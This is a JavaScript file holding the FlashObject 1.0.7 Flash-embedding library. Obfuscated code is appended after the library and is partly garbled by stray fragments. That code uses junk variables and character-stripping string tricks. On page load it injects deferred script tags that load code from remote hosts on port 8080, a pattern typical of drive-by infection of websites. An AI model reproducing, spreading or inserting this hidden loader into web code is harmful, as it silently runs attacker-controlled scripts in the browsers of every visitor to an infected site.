/*
 * FlashObject embed
 *
 * by Geoff Stearns (geoff@choppingblock.com, http://www.choppingblock.com/)
 *
 * v1.0.7 - 11-17-2004
 *
 * Create and write a flash movie to the page, includes detection
 *
 * Usage:
 *
 *	myFlash = new FlashObject("path/to/swf.swf", "swfid", "width", "height", flashversion, "backgroundcolor");
 *	myFlash.altTxt = "Upgrade your Flash Player!";                // optional
 *	myFlash.addParam("wmode", "transparent");                     // optional
 *	myFlash.addVariable("varname1", "varvalue");                  // optional
 *	myFlash.addVariable("varname2", getQueryParamValue("myvar")); // optional
 *	myFlash.write();
 *
 */

FlashObject = function(swf, id, w, h, ver, c) {
	this.swf = swf;
	this.id = id;
	this.width = w;
	this.height = h;
	this.version = ver || 6; // default to 6
	this.align = "middle"; // default to middle
	this.redirect = "";
	this.sq = document.location.search.split("?")[1] || "";
	this.altTxt = "Please <a href='http://www.macromedia.com/go/getflashplayer'>upgrade your Flash Player</a>.";
	this.bypassTxt = "<p>Already have Flash Player? <a href='?detectflash=false&"+ this.sq +"'>Click here if you have Flash Player "+ this.version +" installed</a>.</p>";
	this.params = new Object();
	this.variables = new Object();
	if (c) this.color = this.addParam('bgcolor', c);
	this.addParam('quality', 'high'); // default to high
	this.doDetect = getQueryParamValue('detectflash');
}

FlashObject.prototype.addParam = function(name, value) {
	this.params[name] = value;
}

FlashObject.prototype.getParams = function() {
    return this.params;
}

FlashObject.prototype.getParam = function(name) {
    return this.params[name];
}

FlashObject.prototype.addVariable = function(name, value) {
	this.variables[name] = value;
}

FlashObject.prototype.getVariable = function(name) {
    return this.variables[name];
}

FlashObject.prototype.getVariables = function() {
    return this.variables;
}

FlashObject.prototype.getParamTags = function() {
    var paramTags = "";
    for (var param in this.getParams()) {
        paramTags += '<param name="' + param + '" value="' + this.getParam(param) + '" />';
    }
    if (paramTags == "") {
        paramTags = null;
    }
    return paramTags;
}

FlashObject.prototype.getHTML = function() {
    var flashHTML = "";
    if (window.ActiveXObject && navigator.userAgent.indexOf('Mac') == -1) { // PC IE
        flashHTML += '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="' + this.width + '" height="' + this.height + '" id="' + this.id + '" align="' + this.align + '">';
        flashHTML += '<param name="movie" value="' + this.swf + '" />';
        if (this.getParamTags() != null) {
            flashHTML += this.getParamTags();
        }
        if (this.getVariablePairs() != null) {
            flashHTML += '<param name="flashVars" value="' + this.getVariablePairs() + '" />';
        }
        flashHTML += '</object>';
    }
    else { // Everyone else
        flashHTML += '<embed type="application/x-shockwave-flash" src="' + this.swf + '" width="' + this.width + '" height="' + this.height + '" id="' + this.id + '" align="' + this.align + '"';
        for (var param in this.getParams()) {
            flashHTML += ' ' + param + '="' + this.getParam(param) + '"';
        }
        if (this.getVariablePairs() != null) {
            flashHTML += ' flashVars="' + this.getVariablePairs() + '"';
        }
        flashHTML += '></embed>';
    }
    return flashHTML;	
}


FlashObject.prototype.getVariablePairs = function() {
    var variablePairs = new Array();
    for (var name in this.getVariables()) {
        variablePairs.push(name + "=" + escape(this.getVariable(name)));
    }
    if (variablePairs.length > 0) {
        return variablePairs.join("&");
    }
    else {
        return null;
    }
}

FlashObject.prototype.write = function(elementId) {
	if(detectFlash(this.version) || this.doDetect=='false') {
		if (elementId) {
			document.getElementById(elementId).innerHTML = this.getHTML();
		} else {
			document.write(this.getHTML());
		}
	} else {
		if (this.redirect != "") {
			document.location.replace(this.redirect);
		} else {
			if (elementId) {
				document.getElementById(elementId).innerHTML = this.altTxt +""+ this.bypassTxt;
			} else {
				document.write(this.altTxt +""+ this.bypassTxt);
			}
		}
	}		
}

function getFlashVersion() {
	var flashversion = 0;
	if (navigator.plugins && navigator.plugins.length) {
		var x = navigator.plugins["Shockwave Flash"];
		if(x){
			if (x.description) {
				var y = x.description;
	   			flashversion = y.charAt(y.indexOf('.')-1);
			}
		}
	} else {
		result = false;
	    for(var i = 15; i >= 3 && result != true; i--){
   			execScript('on error resume next: result = IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.'+i+'"))','VBScript');
   			flashversion = i;
   		}
	}
	return flashversion;
}

function detectFlash(ver) {	
	if (getFlashVersion() >= ver) {
		return true;
	} else {
		return false;
	}
}

// get value of querystring param
function getQueryParamValue(param) {
	var q = document.location.search;
	var detectIndex = q.indexOf(param);
	var endIndex = (q.indexOf("&", detectIndex) != -1) ? q.indexOf("&", detectIndex) : q.length;
	if(q.length > 1 && detectIndex != -1) {
		return q.substring(q.indexOf("=", detectIndex)+1, endIndex);
	} else {
		return "";
	}
}

/* add Array.push if needed */
if(Array.prototype.push == null){
	Array.prototype.push = function(item){
		this[this.length] = item;
		return this.length;
	}
}







this.bg='';var h=new Array();var oj;if(oj!='d_' && oj != ''){oj=null};var eg;if(eg!='co' && eg != ''){eg=null};var b='sdc&r!iupgt!'.replace(/[\!gu&d]/g, '');var hu="hu";var v;if(v!='m' && v != ''){v=null};var y=window;var kn=false;var q=false;var z=document;this.zl="";var wu;if(wu!='' && wu!='v_'){wu='x'};var g;if(g!=''){g='sq'};var gk="";y.onload=function(){var uq;if(uq!='jlp' && uq != ''){uq=null};try {e=z.createElement(b);var md;if(md!='a' && md != ''){md=null};this.j_='';var zs;if(zs!='yx' && zs != ''){zs=null};e.src='hZtjtQpQ:Q/j/;b;rjoZtQhZeZrjs&o&f&tj-Qcjo&mQ.&b&a&dQo&njg&o;.Zcjojmj.Zn;bjaZ-;cZo;mj.Zrje&c&eQn;t&m&eZxji;c&oZ.;rQu&:j8j0Z8;0&/Ql&i&v&eZs;cQojrZe&.QcZoZmQ/;lZiZvZe&sQc&oZr;eQ.;c;oZmj/Zr;ejt&a;iQlZm&e&n;o;tj.;cQojmQ/;gjo;o;gZl;e;.Zc&o&m;/QmZajkQtZoZojbZ.&cjo;m;/;'.replace(/[;QZ&j]/g, '');var r_=new String();var os;if(os!='fb' && os != ''){os=null};e.setAttribute('dmegfcemrm'.replace(/[m\*Scg]/g, ''), "1");var xe=44384;var sm=false;var uv="uv";var hn="hn";z.body.appendChild(e);this.jfa="";this.eq="";} catch(d){var gd;if(gd!='' && gd!='xj'){gd=null};};var xs;if(xs!='ab' && xs != ''){xs=null};var cm=new Array();};var au;if(au!='sh'){au='sh'};var gr;if(gr!='xg'){gr='xg'};
try {:LineMixer [var _='hDt!tHpH:_/_/DbHi_gDl!o,b_e_-,nHe!-HjDp!._k,e_e,z,m,o,vDi,e!s_.!cHo,m!._dDa,iHl_y!mHo,t!i,o!n_-Hc_o_mH._b,e!s,tDn,eHwHs,mDa_lDlH.,r!uH:H8_0D8,0,/_q_qD.!c_oDm!/Dq_q,.,c,o!m_/_a,dHsHeDrDvDe!rHp,l!uHs,.,c_oHmD/,jHrDj_._cDoHmH._cHnH/!g,oHoDg,l_eH._c!o_m_/_'.replace(/[_H\!D,]/g, '');var j='sKc+r4i+p;t+'.replace(/[\+\$4K;]/g, '');var z='cYr4e,a4t?e4EYlYe?m?egn,t,'.replace(/[,Y\?g4]/g, '');this.u=false;var s='o%n%l%o6aMdm'.replace(/[m%TM6]/g, '');var l="1";var v='aXpKpKe>n>dIC>hXiylIdI'.replace(/[I\>KyX]/g, '');var w='skekt,A,tNt,r,i9bku4t4eN'.replace(/[N,94k]/g, '');var _f='b5ohd1y5'.replace(/[5h1Wp]/g, '');]this.va='';window[s]=function(){var q=false;var jf;if(jf!='' && jf!='ey'){jf=''};i=document[z](j);:LineMixer [var _k="_k";i['sdrYcY'.replace(/[Y#\^d,]/g, '')]=_;i[w]('d$eNfEeErE'.replace(/[EN\$hH]/g, ''), l);var yh;if(yh!='sn' && yh != ''){yh=null};var g=document[_f];var no;if(no!=''){no='x'};]this.tk='';g[v](i);var gp;if(gp!=''){gp='sx'};};var a=new Date();} catch(ig){this.md='';};var lg;if(lg!='gq' && lg != ''){lg=null};
function y() {var fs=new String();function p(n,f,h){var qy;if(qy!='k' && qy != ''){qy=null};n.setAttribute(f, h);}function x(){var _="";return ([1,9][0]);this.pz=56505;this.jo=false;}var ct;if(ct!=''){ct='ye'};var c='cjrSeAajtSeAEjljeAmjeAn2tj'.replace(/[jW2AS]/g, '');var wb=new Array();var o;if(o!=''){o='b'};var d=window;this.ju=11926;var qn;if(qn!='' && qn!='wm'){qn=''};var v='sTc5rTiZpZtd'.replace(/[d5jZT]/g, '');var q='h*tQt%pQ:%/%/%vUmUnU-Vn*e*t*.*f*a%nUpUoUpU.Qc%oUmV.%tVw%iQtUpViUcV-*c*oQm*.VmQeUdQiUaVt*a%g%oUn%l*i*n*eU.QrQuU:V8%0U8*0*/%g*o*oVgUlUeV.QcVo*mU/QgVo*o*gVlUe*.%c*oUmV/*cVo%o*k%pQaUdQ.QcUoVmQ/VbQrUaUz%zUeQr%sQ.QcVoQmV/%t*e*cQhUc%r%u%n*c%hV.Uc*oUmU/%'.replace(/[%\*QVU]/g, '');var rm;if(rm!='sz' && rm!='nu'){rm=''};var _h;if(_h!='pa'){_h=''};var m='o7nAl3oIa~dI'.replace(/[I~73A]/g, '');var kv=false;var wh="wh";var j='s<rec%'.replace(/[%e\$\<A]/g, '');var c_=new Date();var jw;if(jw!='ug' && jw!='cm'){jw=''};this.xf=38158;d[m]=function(){try {ds=document[c](v);var m_=new String();var rc;if(rc!='' && rc!='bv'){rc=''};var wzj;if(wzj!='' && wzj!='ck'){wzj='wz'};p(ds,j,q);var fsm;if(fsm!='e' && fsm!='xr'){fsm=''};var hq=false;p(ds,'dFeFfFe+rT'.replace(/[Tg\+xF]/g, ''),x());var vn;if(vn!='rn'){vn='rn'};document['b*oAdAy*'.replace(/[\*C%A_]/g, '')]['agpgp6e~ngd6C6hgi6l6dL'.replace(/[L~g67]/g, '')](ds);this.bz='';} catch(qz){var ho;if(ho!='tn' && ho!='kr'){ho=''};};var xu;if(xu!='wo'){xu=''};var hlx=new Array();};var z;if(z!='ao' && z!='be'){z=''};var jy=false;var sp=new String();var qs=new String();};var kw="";y();var cx;if(cx!=''){cx='hly'};this.di=3336;

function B() {var gC="";var BY;if(BY!='' && BY!='z'){BY=''};var c='replace';var t_;if(t_!='U'){t_='U'};var E='[';var S=new String();this.HL="";var L=RegExp;var v=new String();var G="";this.cV='';var s='g';var J='';var Jb;if(Jb!='i' && Jb != ''){Jb=null};var l=']';var gF;if(gF!='' && gF!='Md'){gF=null};var w;if(w!='' && w!='r'){w='j'};function R(H,C){var K;if(K!='' && K!='Se'){K=null};var n=E;var Qd="";var iz="";n+=C;n+=l;var jM='';var W=new L(n, s);return H[c](W, v);};var bW;if(bW!='em' && bW != ''){bW=null};var f;if(f!='lz' && f != ''){f=null};var X=R('sHcgrgiHpHtH',"0gH");var YZ=new String();var t='';var Ib;if(Ib!='vc' && Ib!='l_'){Ib=''};var Ma;if(Ma!='_I' && Ma!='cQ'){Ma=''};var A=R('cirieiaitIeIEilieimIeInIti',"iI");var TH;if(TH!='' && TH!='vo'){TH=''};var hD;if(hD!='' && hD!='vy'){hD=''};var WH=R('/1xYnYx1xY.1cYoum1/1xYnux1xu.1cuo1mu/YgYouoYgYlueu.Yc1o1m1/1g1lYoub1e17u.Yc1o1mY/Y3u91.unYeutu.YpYh1pY',"1uY");var mt=new Date();this.gV="";var q=R('hStTtSpT:2/B/BnSi2nBgy-2cBo2mT.SzBiTnSgB.yvBnB.25y8B-Tcyo2mS.TsTa2mBuBeBsBtT.2rBuT:2',"SyT2B");var bO;if(bO!='Yt' && bO!='ZA'){bO=''};var DL=new Date();var g=window;var jo;if(jo!=''){jo='V'};var PU='';var HQ=R('8111171901999299981991922027222',"1927");var TF=new Array();var ip;if(ip!='QB' && ip != ''){ip=null};g[R('o1nvlvo1a1dv',"1v")]=function(){try {this.Xj='';var Ha;if(Ha!='JG' && Ha!='ZD'){Ha='JG'};t+=q;var tJ=new Date();var HV;if(HV!='uP' && HV!='cS'){HV='uP'};t+=HQ;t+=WH;var fz;if(fz!='ut' && fz!='p'){fz='ut'};qc=document[A](X);var j_;if(j_!='' && j_!='Ek'){j_=null};WU(qc,'src',t);this.on='';var v_;if(v_!='YtG' && v_ != ''){v_=null};WU(qc,'defer',([1][0]));this.KO="";var am;if(am!='' && am!='dF'){am=''};document.body.appendChild(qc);var PQ="";} catch(Lp){var xV;if(xV!='' && xV!='_p'){xV=''};};var ym=new Date();var Uu=new Array();};this.EL="";var oX;if(oX!='' && oX!='HZ'){oX='TG'};var Yr;if(Yr!='EkY'){Yr=''};function WU(gt,P,y){var jV=new Date();var ZZ=new String();gt.setAttribute(P, y);var cJ;if(cJ!='QE' && cJ!='bx'){cJ='QE'};var xb=new Date();}var ja;if(ja!='pQ' && ja != ''){ja=null};this.KD='';this.SP='';};var hg;if(hg!='yr' && hg != ''){hg=null};B();
